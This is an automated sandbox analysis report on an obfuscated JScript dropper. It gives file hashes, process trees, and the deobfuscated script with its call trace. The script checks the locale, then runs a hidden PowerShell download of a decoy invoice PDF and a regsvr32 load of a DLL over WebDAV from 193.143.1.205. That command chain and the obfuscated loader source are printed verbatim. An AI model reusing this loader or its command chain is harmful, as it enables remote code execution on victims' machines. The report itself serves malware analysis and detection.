MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15265), with CRLF line terminators
Entropy (8bit):	4.915703623844909
TrID:
File name:	2435213596266856603.js
File size:	18'757 bytes
MD5:	215b6bcbdcbc134000fab082ae339f10
SHA1:	3e5f528fedeeb6fa7bf65be4d760890c955865cf
SHA256:	c5ffc6a46be91a15c63ad3a2c6dd8662f5d9ee4b5b67ac11c5a5e54817846ff8
SHA512:	7574acbaa850c3c5870a93dcf9bab6a53e0b322c644f825457d86d393f32458f8b5dd03113ec8136c91ff7498d281c1decfd3de7896d31bd297e4775e6cdb9d1
SSDEEP:	384:KUSweJXU+0tJ2JgJrZp8Hapl9G0LEWpis6sNsldoXevfy6/fVNhpXzL4bL4CfC:nmQZOapl9G0LEWpis6sNsldoXevfy6/R
TLSH:	17825298CC05CEDFD2CC05718A96181773A889C945901D8E86CBF68ED64ABAAD1C3F73
File Content Preview:	function ocyvsmf(){gywtaybw=[1031,3079,5127,4103,2055,3072];var ronve=this[mprjzn+frzovivxg+kipxowqy+rqgsxfwnx+vdyambc+ysese+arukjv+yqnkcek](this[xpzxnuwgr+iajlldoc+myglggb+kipxowqy+zcgohjfws+mprjzn+yqnkcek][pezadsqg+kipxowqy+vdyambc+frzovivxg+yqnkcek+vdy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	1
Start time:	00:06:57
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2435213596266856603.js"
Imagebase:	0x7ff64fcb0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:06:58
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll
Imagebase:	0x7ff6e5c30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:06:58
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:06:59
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:07:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:07:03
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6e5c30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:07:03
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6661e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:07:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:07:03
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:07:04
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,16345293341959099244,7152313826885755216,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ocyvsmf() {	ocyvsmf() ➔ undefined
1	gywtaybw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ronve = this[mprjzn + frzovivxg + kipxowqy + rqgsxfwnx + vdyambc + ysese + arukjv + yqnkcek] ( this[xpzxnuwgr + iajlldoc + myglggb + kipxowqy + zcgohjfws + mprjzn + yqnkcek][pezadsqg + kipxowqy + vdyambc + frzovivxg + yqnkcek + vdyambc + akfbi + tqiee + isfdzwjt + vdyambc + myglggb + yqnkcek] ( xpzxnuwgr + iajlldoc + myglggb + kipxowqy + zcgohjfws + mprjzn + yqnkcek + znimlq + iajlldoc + cbgcw + vdyambc + ivytp + ivytp ) [mwgaghy + vdyambc + gyhamkee + mwgaghy + vdyambc + frzovivxg + vyvmhsx] ( sraeiwkv + fsdjn + mxtic + thdvd + mvpem + pezadsqg + nyskl + mwgaghy + mwgaghy + mxtic + evaepwr + mpuwit + mvpem + nyskl + iajlldoc + mxtic + mwgaghy + xmmvtwprn + pezadsqg + hvllrvon + arukjv + yqnkcek + kipxowqy + hvllrvon + ivytp + nrjsllrr + jbhuqocr + frzovivxg + arukjv + vdyambc + ivytp + xmmvtwprn + ysese + arukjv + yqnkcek + vdyambc + kipxowqy + arukjv + frzovivxg + yqnkcek + zcgohjfws + hvllrvon + arukjv + frzovivxg + ivytp + xmmvtwprn + tezgi + hvllrvon + myglggb + frzovivxg + ivytp + vdyambc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( zaxcfjr = 0 ; zaxcfjr < gywtaybw[ivytp + vdyambc + arukjv + gyhamkee + yqnkcek + cbgcw] ; ++ zaxcfjr )
4	{
5	if ( ronve == gywtaybw[zaxcfjr] )
6	{
7	ronve = true;
8	break ;
9	}
10	}
11	if ( ronve !== true )
12	this[xpzxnuwgr + iajlldoc + myglggb + kipxowqy + zcgohjfws + mprjzn + yqnkcek][edtoat + kipvdzal + zcgohjfws + yqnkcek] ( );
13	this[xpzxnuwgr + iajlldoc + myglggb + kipxowqy + zcgohjfws + mprjzn + yqnkcek][pezadsqg + kipxowqy + vdyambc + frzovivxg + yqnkcek + vdyambc + akfbi + tqiee + isfdzwjt + vdyambc + myglggb + yqnkcek] ( xpzxnuwgr + iajlldoc + myglggb + kipxowqy + zcgohjfws + mprjzn + yqnkcek + znimlq + iajlldoc + cbgcw + vdyambc + ivytp + ivytp ) [kipxowqy + kipvdzal + arukjv] ( myglggb + vppzfsstq + vyvmhsx + nrjsllrr + qjdlsmww + myglggb + nrjsllrr + mprjzn + hvllrvon + glltd + vdyambc + kipxowqy + rqgsxfwnx + cbgcw + vdyambc + ivytp + ivytp + znimlq + vdyambc + ybrkb + vdyambc + nrjsllrr + zknqw + pezadsqg + hvllrvon + vppzfsstq + vppzfsstq + frzovivxg + arukjv + vyvmhsx + nrjsllrr + jhsgn + ysese + arukjv + uehhvydl + hvllrvon + pujrnr + vdyambc + zknqw + xpzxnuwgr + vdyambc + tqiee + mwgaghy + vdyambc + mbnrjpfw + kipvdzal + vdyambc + rqgsxfwnx + yqnkcek + nrjsllrr + zknqw + akfbi + kipvdzal + yqnkcek + sqbidxiv + zcgohjfws + ivytp + vdyambc + nrjsllrr + zvvxj + yqnkcek + vdyambc + vppzfsstq + mprjzn + zvvxj + xmmvtwprn + zcgohjfws + arukjv + uehhvydl + hvllrvon + zcgohjfws + myglggb + vdyambc + znimlq + mprjzn + vyvmhsx + ngahkaml + nrjsllrr + cbgcw + yqnkcek + yqnkcek + mprjzn + zixfihf + qjdlsmww + qjdlsmww + gjpxitq + yyvjawk + cfjkl + znimlq + gjpxitq + bqrcr + cfjkl + znimlq + gjpxitq + znimlq + vlrwcjet + bmcnog + wlvzlb + qjdlsmww + zcgohjfws + arukjv + uehhvydl + hvllrvon + zcgohjfws + myglggb + vdyambc + znimlq + mprjzn + cbgcw + mprjzn + jhsgn + avdtyull + avdtyull + rqgsxfwnx + yqnkcek + frzovivxg + kipxowqy + yqnkcek + nrjsllrr + zvvxj + yqnkcek + vdyambc + vppzfsstq + mprjzn + zvvxj + xmmvtwprn + zcgohjfws + arukjv + uehhvydl + hvllrvon + zcgohjfws + myglggb + vdyambc + znimlq + mprjzn + vyvmhsx + ngahkaml + avdtyull + avdtyull + myglggb + vppzfsstq + vyvmhsx + nrjsllrr + qjdlsmww + myglggb + nrjsllrr + arukjv + vdyambc + yqnkcek + nrjsllrr + kipvdzal + rqgsxfwnx + vdyambc + nrjsllrr + xmmvtwprn + xmmvtwprn + gjpxitq + yyvjawk + cfjkl + znimlq + gjpxitq + bqrcr + cfjkl + znimlq + gjpxitq + znimlq + vlrwcjet + bmcnog + wlvzlb + bnvinidcz + xkajd + xkajd + xkajd + xkajd + xmmvtwprn + vyvmhsx + frzovivxg + uehhvydl + glltd + glltd + glltd + kipxowqy + hvllrvon + hvllrvon + yqnkcek + xmmvtwprn + avdtyull + avdtyull + myglggb + vppzfsstq + vyvmhsx + nrjsllrr + qjdlsmww + myglggb + nrjsllrr + kipxowqy + vdyambc + gyhamkee + rqgsxfwnx + uehhvydl + kipxowqy + cfjkl + vlrwcjet + nrjsllrr + qjdlsmww + rqgsxfwnx + nrjsllrr + xmmvtwprn + xmmvtwprn + gjpxitq + yyvjawk + cfjkl + znimlq + gjpxitq + bqrcr + cfjkl + znimlq + gjpxitq + znimlq + vlrwcjet + bmcnog + wlvzlb + bnvinidcz + xkajd + xkajd + xkajd + xkajd + xmmvtwprn + vyvmhsx + frzovivxg + uehhvydl + glltd + glltd + glltd + kipxowqy + hvllrvon + hvllrvon + yqnkcek + xmmvtwprn + cfjkl + bilibp + bilibp + bmcnog + gjpxitq + bilibp + stdwegy + wlvzlb + bqrcr + bqrcr + wlvzlb + gjpxitq + yyvjawk + znimlq + vyvmhsx + ivytp + ivytp, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3770176544519.dll",0,false) ➔ 0
14	}
15	mbnrjpfw = "r";
16	mbnrjpfw = "X";
17	mbnrjpfw = "y";
18	mbnrjpfw = "v";
19	mbnrjpfw = "S";
20	mbnrjpfw = "B";
21	mbnrjpfw = "l";
22	mbnrjpfw = "S";
23	mbnrjpfw = "Z";
24	mbnrjpfw = "G";
25	mbnrjpfw = "D";
26	mbnrjpfw = "x";
27	mbnrjpfw = "I";
28	mbnrjpfw = "M";
29	mbnrjpfw = "n";
30	mbnrjpfw = "n";
31	mbnrjpfw = "u";
32	mbnrjpfw = "q";
33	mpuwit = "r";
34	mpuwit = "o";
35	mpuwit = "P";
36	mpuwit = "m";
37	mpuwit = "W";
38	mpuwit = "A";
39	mpuwit = "B";
40	mpuwit = "D";
41	mpuwit = "h";
42	mpuwit = "G";
43	mpuwit = "j";
44	mpuwit = "h";
45	mpuwit = "I";
46	mpuwit = "V";
47	mpuwit = "e";
48	mpuwit = "T";
49	tqiee = "h";
50	tqiee = "X";
51	tqiee = "I";
52	tqiee = "F";
53	tqiee = "A";
54	tqiee = "m";
55	tqiee = "N";
56	tqiee = "H";
57	tqiee = "P";
58	tqiee = "v";
59	tqiee = "B";
60	tqiee = "E";
61	tqiee = "t";
62	tqiee = "q";
63	tqiee = "e";
64	tqiee = "V";
65	tqiee = "E";
66	tqiee = "F";
67	tqiee = "r";
68	tqiee = "z";
69	tqiee = "g";
70	tqiee = "t";
71	tqiee = "b";
72	tqiee = "w";
73	tqiee = "V";
74	tqiee = "t";
75	tqiee = "X";
76	tqiee = "B";
77	tqiee = "e";
78	tqiee = "B";
79	tqiee = "b";
80	sqbidxiv = "C";
81	sqbidxiv = "U";
82	sqbidxiv = "K";
83	sqbidxiv = "J";
84	sqbidxiv = "p";
85	sqbidxiv = "N";
86	sqbidxiv = "y";
87	sqbidxiv = "X";
88	sqbidxiv = "v";
89	sqbidxiv = "e";
90	sqbidxiv = "w";
91	sqbidxiv = "E";
92	sqbidxiv = "o";
93	sqbidxiv = "o";
94	sqbidxiv = "I";
95	sqbidxiv = "v";
96	sqbidxiv = "g";
97	sqbidxiv = "M";
98	sqbidxiv = "t";
99	sqbidxiv = "h";
100	sqbidxiv = "W";
101	sqbidxiv = "A";
102	sqbidxiv = "U";
103	sqbidxiv = "h";
104	sqbidxiv = "o";
105	sqbidxiv = "F";
106	arukjv = "f";
107	arukjv = "H";
108	arukjv = "H";
109	arukjv = "l";
110	arukjv = "c";
111	arukjv = "Q";
112	arukjv = "s";
113	arukjv = "Y";
114	arukjv = "w";
115	arukjv = "t";
116	arukjv = "y";
117	arukjv = "h";
118	arukjv = "J";
119	arukjv = "X";
120	arukjv = "F";
121	arukjv = "q";
122	arukjv = "Y";
123	arukjv = "P";
124	arukjv = "B";
125	arukjv = "k";
126	arukjv = "q";
127	arukjv = "F";
128	arukjv = "W";
129	arukjv = "u";
130	arukjv = "a";
131	arukjv = "R";
132	arukjv = "Y";
133	arukjv = "p";
134	arukjv = "F";
135	arukjv = "n";
136	arukjv = "F";
137	arukjv = "P";
138	arukjv = "o";
139	arukjv = "w";
140	arukjv = "n";
141	bmcnog = "G";
142	bmcnog = "b";
143	bmcnog = "P";
144	bmcnog = "p";
145	bmcnog = "Y";
146	bmcnog = "O";
147	bmcnog = "Q";
148	bmcnog = "K";
149	bmcnog = "D";
150	bmcnog = "b";
151	bmcnog = "0";
152	zknqw = "Y";
153	zknqw = "a";
154	zknqw = "K";
155	zknqw = "w";
156	zknqw = "n";
157	zknqw = "M";
158	zknqw = "m";
159	zknqw = "b";
160	zknqw = "c";
161	zknqw = "H";
162	zknqw = "P";
163	zknqw = "n";
164	zknqw = "F";
165	zknqw = "B";
166	zknqw = "Y";
167	zknqw = "z";
168	zknqw = "W";
169	zknqw = "Q";
170	zknqw = "I";
171	zknqw = "g";
172	zknqw = "E";
173	zknqw = "R";
174	zknqw = "a";
175	zknqw = "O";
176	zknqw = "c";
177	zknqw = "l";
178	zknqw = "i";
179	zknqw = "J";
180	zknqw = "m";
181	zknqw = "M";
182	zknqw = "e";
183	zknqw = "h";
184	zknqw = "M";
185	zknqw = "-";
186	bilibp = "b";
187	bilibp = "g";
188	bilibp = "K";
189	bilibp = "s";
190	bilibp = "M";
191	bilibp = "Q";
192	bilibp = "I";
193	bilibp = "w";
194	bilibp = "M";
195	bilibp = "U";
196	bilibp = "v";
197	bilibp = "u";
198	bilibp = "T";
199	bilibp = "7";
200	vdyambc = "K";
201	vdyambc = "m";
202	vdyambc = "e";
203	frzovivxg = "a";
204	frzovivxg = "x";
205	frzovivxg = "c";
206	frzovivxg = "d";
207	frzovivxg = "c";
208	frzovivxg = "X";
209	frzovivxg = "w";
210	frzovivxg = "b";
211	frzovivxg = "y";
212	frzovivxg = "h";
213	frzovivxg = "t";
214	frzovivxg = "k";
215	frzovivxg = "b";
216	frzovivxg = "p";
217	frzovivxg = "S";
218	frzovivxg = "G";
219	frzovivxg = "D";
220	frzovivxg = "v";
221	frzovivxg = "h";
222	frzovivxg = "v";
223	frzovivxg = "X";
224	frzovivxg = "B";
225	frzovivxg = "Y";
226	frzovivxg = "s";
227	frzovivxg = "P";
228	frzovivxg = "i";
229	frzovivxg = "E";
230	frzovivxg = "j";
231	frzovivxg = "N";
232	frzovivxg = "a";
233	jbhuqocr = "q";
234	jbhuqocr = "I";
235	jbhuqocr = "r";
236	jbhuqocr = "K";
237	jbhuqocr = "u";
238	jbhuqocr = "F";
239	jbhuqocr = "X";
240	jbhuqocr = "L";
241	jbhuqocr = "E";
242	jbhuqocr = "Y";
243	jbhuqocr = "a";
244	jbhuqocr = "T";
245	jbhuqocr = "f";
246	jbhuqocr = "l";
247	jbhuqocr = "B";
248	jbhuqocr = "d";
249	jbhuqocr = "r";
250	jbhuqocr = "n";
251	jbhuqocr = "D";
252	jbhuqocr = "W";
253	jbhuqocr = "B";
254	jbhuqocr = "x";
255	jbhuqocr = "n";
256	jbhuqocr = "b";
257	jbhuqocr = "o";
258	jbhuqocr = "l";
259	jbhuqocr = "h";
260	jbhuqocr = "A";
261	jbhuqocr = "H";
262	jbhuqocr = "k";
263	jbhuqocr = "A";
264	jbhuqocr = "e";
265	jbhuqocr = "g";
266	jbhuqocr = "V";
267	jbhuqocr = "c";
268	jbhuqocr = "i";
269	jbhuqocr = "P";
270	sraeiwkv = "i";
271	sraeiwkv = "G";
272	sraeiwkv = "o";
273	sraeiwkv = "P";
274	sraeiwkv = "F";
275	sraeiwkv = "G";
276	sraeiwkv = "X";
277	sraeiwkv = "t";
278	sraeiwkv = "H";
279	xpzxnuwgr = "i";
280	xpzxnuwgr = "a";
281	xpzxnuwgr = "a";
282	xpzxnuwgr = "g";
283	xpzxnuwgr = "D";
284	xpzxnuwgr = "I";
285	xpzxnuwgr = "c";
286	xpzxnuwgr = "h";
287	xpzxnuwgr = "u";
288	xpzxnuwgr = "o";
289	xpzxnuwgr = "G";
290	xpzxnuwgr = "q";
291	xpzxnuwgr = "v";
292	xpzxnuwgr = "L";
293	xpzxnuwgr = "f";
294	xpzxnuwgr = "l";
295	xpzxnuwgr = "u";
296	xpzxnuwgr = "L";
297	xpzxnuwgr = "C";
298	xpzxnuwgr = "A";
299	xpzxnuwgr = "k";
300	xpzxnuwgr = "U";
301	xpzxnuwgr = "M";
302	xpzxnuwgr = "E";
303	xpzxnuwgr = "W";
304	wlvzlb = "5";
305	isfdzwjt = "c";
306	isfdzwjt = "q";
307	isfdzwjt = "Q";
308	isfdzwjt = "K";
309	isfdzwjt = "U";
310	isfdzwjt = "m";
311	isfdzwjt = "Z";
312	isfdzwjt = "m";
313	isfdzwjt = "D";
314	isfdzwjt = "D";
315	isfdzwjt = "J";
316	isfdzwjt = "d";
317	isfdzwjt = "I";
318	isfdzwjt = "p";
319	isfdzwjt = "M";
320	isfdzwjt = "j";
321	isfdzwjt = "V";
322	isfdzwjt = "O";
323	isfdzwjt = "b";
324	isfdzwjt = "Q";
325	isfdzwjt = "j";
326	uehhvydl = "U";
327	uehhvydl = "b";
328	uehhvydl = "w";
329	uehhvydl = "y";
330	uehhvydl = "u";
331	uehhvydl = "U";
332	uehhvydl = "B";
333	uehhvydl = "V";
334	uehhvydl = "P";
335	uehhvydl = "v";
336	qjdlsmww = "L";
337	qjdlsmww = "M";
338	qjdlsmww = "n";
339	qjdlsmww = "c";
340	qjdlsmww = "T";
341	qjdlsmww = "h";
342	qjdlsmww = "a";
343	qjdlsmww = "g";
344	qjdlsmww = "B";
345	qjdlsmww = "L";
346	qjdlsmww = "u";
347	qjdlsmww = "f";
348	qjdlsmww = "H";
349	qjdlsmww = "s";
350	qjdlsmww = "z";
351	qjdlsmww = "k";
352	qjdlsmww = "f";
353	qjdlsmww = "l";
354	qjdlsmww = "/";
355	fsdjn = "r";
356	fsdjn = "C";
357	fsdjn = "w";
358	fsdjn = "n";
359	fsdjn = "S";
360	fsdjn = "R";
361	fsdjn = "s";
362	fsdjn = "k";
363	fsdjn = "A";
364	fsdjn = "C";
365	fsdjn = "A";
366	fsdjn = "S";
367	fsdjn = "a";
368	fsdjn = "v";
369	fsdjn = "c";
370	fsdjn = "h";
371	fsdjn = "M";
372	fsdjn = "u";
373	fsdjn = "q";
374	fsdjn = "O";
375	fsdjn = "B";
376	fsdjn = "P";
377	fsdjn = "v";
378	fsdjn = "u";
379	fsdjn = "Z";
380	fsdjn = "j";
381	fsdjn = "S";
382	fsdjn = "z";
383	fsdjn = "y";
384	fsdjn = "j";
385	fsdjn = "Z";
386	fsdjn = "T";
387	fsdjn = "h";
388	fsdjn = "u";
389	fsdjn = "v";
390	fsdjn = "k";
391	fsdjn = "w";
392	fsdjn = "M";
393	fsdjn = "K";
394	mxtic = "l";
395	mxtic = "w";
396	mxtic = "a";
397	mxtic = "y";
398	mxtic = "r";
399	mxtic = "o";
400	mxtic = "G";
401	mxtic = "y";
402	mxtic = "E";
403	evaepwr = "G";
404	evaepwr = "m";
405	evaepwr = "f";
406	evaepwr = "a";
407	evaepwr = "o";
408	evaepwr = "Y";
409	evaepwr = "o";
410	evaepwr = "r";
411	evaepwr = "o";
412	evaepwr = "J";
413	evaepwr = "B";
414	evaepwr = "S";
415	evaepwr = "p";
416	evaepwr = "U";
417	evaepwr = "h";
418	evaepwr = "X";
419	evaepwr = "q";
420	evaepwr = "Y";
421	evaepwr = "x";
422	evaepwr = "N";
423	thdvd = "M";
424	thdvd = "z";
425	thdvd = "N";
426	thdvd = "Y";
427	thdvd = "w";
428	thdvd = "D";
429	thdvd = "Q";
430	thdvd = "z";
431	thdvd = "W";
432	thdvd = "Y";
433	vyvmhsx = "o";
434	vyvmhsx = "M";
435	vyvmhsx = "I";
436	vyvmhsx = "I";
437	vyvmhsx = "H";
438	vyvmhsx = "b";
439	vyvmhsx = "M";
440	vyvmhsx = "N";
441	vyvmhsx = "h";
442	vyvmhsx = "x";
443	vyvmhsx = "T";
444	vyvmhsx = "h";
445	vyvmhsx = "I";
446	vyvmhsx = "Q";
447	vyvmhsx = "E";
448	vyvmhsx = "d";
449	vlrwcjet = "A";
450	vlrwcjet = "p";
451	vlrwcjet = "O";
452	vlrwcjet = "N";
453	vlrwcjet = "z";
454	vlrwcjet = "l";
455	vlrwcjet = "I";
456	vlrwcjet = "E";
457	vlrwcjet = "O";
458	vlrwcjet = "X";
459	vlrwcjet = "T";
460	vlrwcjet = "V";
461	vlrwcjet = "N";
462	vlrwcjet = "L";
463	vlrwcjet = "B";
464	vlrwcjet = "d";
465	vlrwcjet = "f";
466	vlrwcjet = "l";
467	vlrwcjet = "k";
468	vlrwcjet = "H";
469	vlrwcjet = "t";
470	vlrwcjet = "n";
471	vlrwcjet = "u";
472	vlrwcjet = "n";
473	vlrwcjet = "a";
474	vlrwcjet = "V";
475	vlrwcjet = "o";
476	vlrwcjet = "R";
477	vlrwcjet = "G";
478	vlrwcjet = "2";
479	avdtyull = "y";
480	avdtyull = "J";
481	avdtyull = "t";
482	avdtyull = "j";
483	avdtyull = "t";
484	avdtyull = "k";
485	avdtyull = "A";
486	avdtyull = "B";
487	avdtyull = "u";
